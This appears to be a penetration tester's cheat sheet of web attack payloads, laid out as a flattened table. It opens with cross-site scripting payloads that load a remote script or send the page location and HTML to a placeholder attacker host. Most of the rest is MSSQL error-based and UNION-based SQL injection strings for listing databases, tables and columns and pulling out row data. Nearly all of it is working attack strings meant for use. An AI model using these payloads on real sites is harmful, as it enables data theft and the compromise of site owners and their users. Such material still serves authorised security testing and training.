XSS Test |
<img src="http://<attacker url>">
<script>document.location="http://<attacker url>"</script>
<script>alert("testing123")</script>
|
Execute payload from remote file |
<script src="http://<attacker>/xss.js"></script>
|
Get current location of webpage |
var exfilreq = new XMLHttpRequest();
exfilreq.open("GET", "http://<attacker>/" + document.location, false);
exfilreq.send();
|
Get contents of current page |
var exfilreq = new XMLHttpRequest();
exfilreq.open("POST", "http://<attacker>/", false);
exfilreq.send(document.documentElement.outerHTML);
|
Get contents of specified webpage |
var pagereq = new XMLHttpRequest();
pagereq.onreadystatechange = function() {
if (pagereq.readyState == 4) {
varexfilreq = new XMLHttpRequest();
exfilreq.open("POST", "http://<attacker>/", false);
exfilreq.send(pagereq.response);
}
};
pagereq.open('GET', '/<web page>', false);
pagereq.send();
|
Enumerate number of databases |
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000))
FROM
[master]..[sysdatabases] )+CHAR(58)+CHAR(58)))-- |
Extract database name by number |
Method #1 |
1 AND 1=CONVERT(INT,db_name(<database #>))-- |
Method #2 |
1 AND 1=CONVERT(INT,(SELECT CAST(name AS nvarchar(4000)) FROM
master..sysdatabases WHERE
dbid=<database #>))-- |
|
Extra table count from current DB |
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM
information_schema.TABLES )+CHAR(58)+CHAR(58)))-- |
Extract table names from current DB |
1 AND 1= CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top
<increase # starting with 1> TABLE_NAME FROM information_schema.TABLES
ORDER BY
TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--
|
Extract column names from a table in current DB |
1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top
<increase # starting with 1> column_name FROM information_schema.COLUMNS
WHERE
TABLE_NAME='<table name>' ORDER BY column_name ASC) sq ORDER BY
column_name
DESC)+CHAR(58)))--
|
Extract number of rows in a table in current DB |
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM
<table name>)+CHAR(58)+CHAR(58)))--
|
Extract data for two columns by row # |
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 <column
1>+CHAR(58)+<column2> FROM (SELECT top <increase #
starting
with 1> <column 1> , <column 2> FROM
<table
1> ORDER BY <column 1> ASC) sq ORDER BY <Column
1>
DESC)+CHAR(58)+CHAR(58)))-- |
Extract tables from other DB |
1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top
<increase # starting with 1> TABLE_NAME FROM
<other_db_name>.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq
ORDER BY
TABLE_NAME DESC)+CHAR(58)))--
|
Enumerate columns from table from other DB |
1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top
<Increase # starting with 1> column_name FROM
<Database>.information_schema.COLUMNS WHERE
TABLE_NAME='<Table>'
ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--
|
Extract number of rows in table from other DB |
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM
[<Database>]..[<Table>] )+CHAR(58)+CHAR(58)))-- |
Extract data from table in other DB |
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 <Column> FROM
(SELECT top
<Increase # starting with 1> <Column> FROM
<Database>..<Table> ORDER BY
<Column> ASC) sq
ORDER BY <Column> DESC)+CHAR(58)+CHAR(58)))--
|
"HAVING" & "GROUP BY" error message attack
Enumerate table and column names |
Enumerate column 1 (Generates error message revealing
<table>.<column_1>) |
1' HAVING 1=1 -- |
Enumerate column 2 (Generates error message revealing
<table>.<column_2>) |
1' GROUP BY <table>.<column 1> HAVING 1=1
-- |
Enumerate column 3 (Generates error message revealing
<table>.<column_3>) |
1' GROUP BY <table>.<column
1>,<table>.<column 2> |
Continue enumerating columns until a normal result is returned |
|
|
Enumerate DB names |
Enumerate db 0 name (Generate error: [SqlException (0x80131904): Conversion
failed when
converting the nvarchar value '<db_name(0)>' to data type int.]) |
1 and 1=CONVERT(INT,db_name(0))-- |
Enumerate db 1 name (Generate error: [SqlException (0x80131904): Conversion
failed when
converting the nvarchar value '<db_name(1)>' to data type int.]) |
1 and 1=CONVERT(INT,db_name(1))-- |
|
Enumerate table names using information_schema.tables |
Enumerate table 1 name (Generate error: failed when converting the nvarchar
value
'<table_1>' to data) |
1 and 1=convert(int,(select top 1 table_name from information_schema.tables))--
|
Enumerate table 2 name (Generate error: failed when converting the nvarchar
value
'<table_2>' to data) |
1 and 1=convert(int,(select top 1 table_name from information_schema.tables
where table_name
not in ('<table_1>')))-- |
Enumerate table 3 name (Generate error: failed when converting the nvarchar
value
'<table_3>' to data) |
1 and 1=convert(int,(select top 1 table_name from_information_schema.tables
where table_name
not in
('<table_1>','<table_2>')))--
|
|
Enumerate table columns using information_schema.tables |
Enumerate column 1 for table_1 (Generate error: failed when converting the
nvarchar value
'<column_1>' to data) |
1 and 1=convert(int,(select top 1 column_name from information_schema.columns
where
table_name='<table 1>'))-- |
Enumerate column 2 for table_1 (Generate error: failed when converting the
nvarchar value
'<column_2>' to data) |
1 and 1=convert(int,(select top 1 column_name from information_schema.columns
where
table_name='<table 1>' and column_name not in
('<Column
1>')))-- |
Enumerate column 3 for table_1 (Generate error: failed when converting the
nvarchar value
'<column_3>' to data) |
1 and 1=convert(int,(select top 1 column_name from information_schema.columns
where
table_name='<table 1>' and column_name not in
('<Column_1>','<Column_2>')))-- |
|
Enumerate data using table and column names |
Enumerate <data_1> from <column_1> information from <table_1>
(Generate
error: failed when converting the nvarchar value '<data_1>' to data type
int.) |
1 and 1=convert(int,(select top 1 <column_1> from
<table_1>))--
|
Enumerate <data_2> from <column_1> information from <table_1>
(Generate
error: failed when converting the nvarchar value '<data_2>' to data type
int.) |
1 and 1=convert(int,(select top 1 <column_1> from
<table
1> where <column_1> not in
('<data_1>')))-- |
Enumerate <data_3> from <column_1> information from <table_1>
(Generate
error: failed when converting the nvarchar value '<data_3>' to data type
int.) |
1 and 1=convert(int,(select top 1 <column_1> from
<table_1> where <column_1> not in
('<data_1>','<data_2>')))--
|
|
Enumerate DB Names |
Format 1 |
1 and 1=2 UNION SELECT 1,group_concat(schema_name),3,4...(Enumerate # to
go up to
using ' order by <#>-- -) from
information_schema.schemata-- - |
Format 2 |
' UNION SELECT 1,group_concat(schema_name),3,4...(Enumerate # to go up to
using '
order by <#>-- -) from information_schema.schemata-- - |
|
Enumerate all Tables from DB |
Format 1 |
1 and 1=2 UNION SELECT 1,2,3,4,group_concat(table_name),6 from
information_schema.tables
where table_schema='<DB Name>'-- - |
Format 2 |
'UNION SELECT group_concat(table_name),2,3,4,5,6 from information_schema.tables
where
table_schema='<DB Name>'-- - |
|
Enumerate Columns in Table |
Format 1 |
1 and 1=2 UNION SELECT 1,2,3,4,group_concat(column_name),6,7 from
information_schema.columns
where table_name='<Table Name>'-- - |
Format 2 |
'UNION SELECT 1,2,3,4,group_concat(column_name),6,7 from
information_schema.columns where
table_name='<Table Name>'-- - |
|
Enumerate Data from Table |
Format 1 |
1 and 1=2 UNION SELECT 1, <Column Name>,3,4,<Column
Name>,6,7 from <DB
name>.<Table>-- -
|
Format 2 |
'UNION SELECT 1, <Column Name>,3,4,<Column
Name>,6,7
from <DB name>.<Table>-- - |
|
Enumerate # of columns |
|
Method 1 |
Method 2 |
Method 3 |
Method 4 |
Enumerate column 1 |
1 order by 1 |
' order by 1-- - |
' UNION SELECT NULL-- |
<Legit Search>' order by 1-- - |
Enumerate column 2 |
1 order by 2 |
' order by 2-- - |
' UNION SELECT NULL,NULL-- |
<Legit Search>' order by 1,2-- - |
Continue until... |
Error |
Error |
No error |
No results |
|
Find where information appears on the screen |
1 and 1=2 UNION SELECT 1,2,3,4-- -
' UNION SELECT 1,2,3,4-- -
|
Enumerate table name |
Enumerate table_1 |
Method #1 |
1 and 1=2 UNION SELECT 1,2,3,table_name from
information_schema.tables-- |
Method #2 |
' UNION SELECT table_name,2 from information_schema.tables-- |
|
Enumerate table_2 |
' UNION SELECT 1,2,3,table_name from information_schema.tables where table_name
not in
('<table_1>')-- |
Enumerate table_3 |
' UNION SELECT 1,2,3,table_name from information_schema.tables where table_name
not in
('<table_1>','<table_2>')-- |
|
Enumerate column names |
Enumerate column_1 for table_1 |
' UNION SELECT column_name,2 from information_schema.columns where
table_name='<table_1>'-- |
Enumerate column_2 for table_1 |
' UNION SELECT 1,2,3,column_name from information_schema.columns where
table_name='<table_1>' and column_name not in
('<column_1>') |
|
Enumerate data |
Enumerate data_1 from column_1 of table_1 |
' UNION SELECT 1,2,3,<column_1> from
<table_1>-- |
Enumerate data_2 from column_1 of table_1 |
' UNION SELECT 1,2,3,<column_1> from
<table_1> where
<column_1> not in ('<data_1>')--
|
|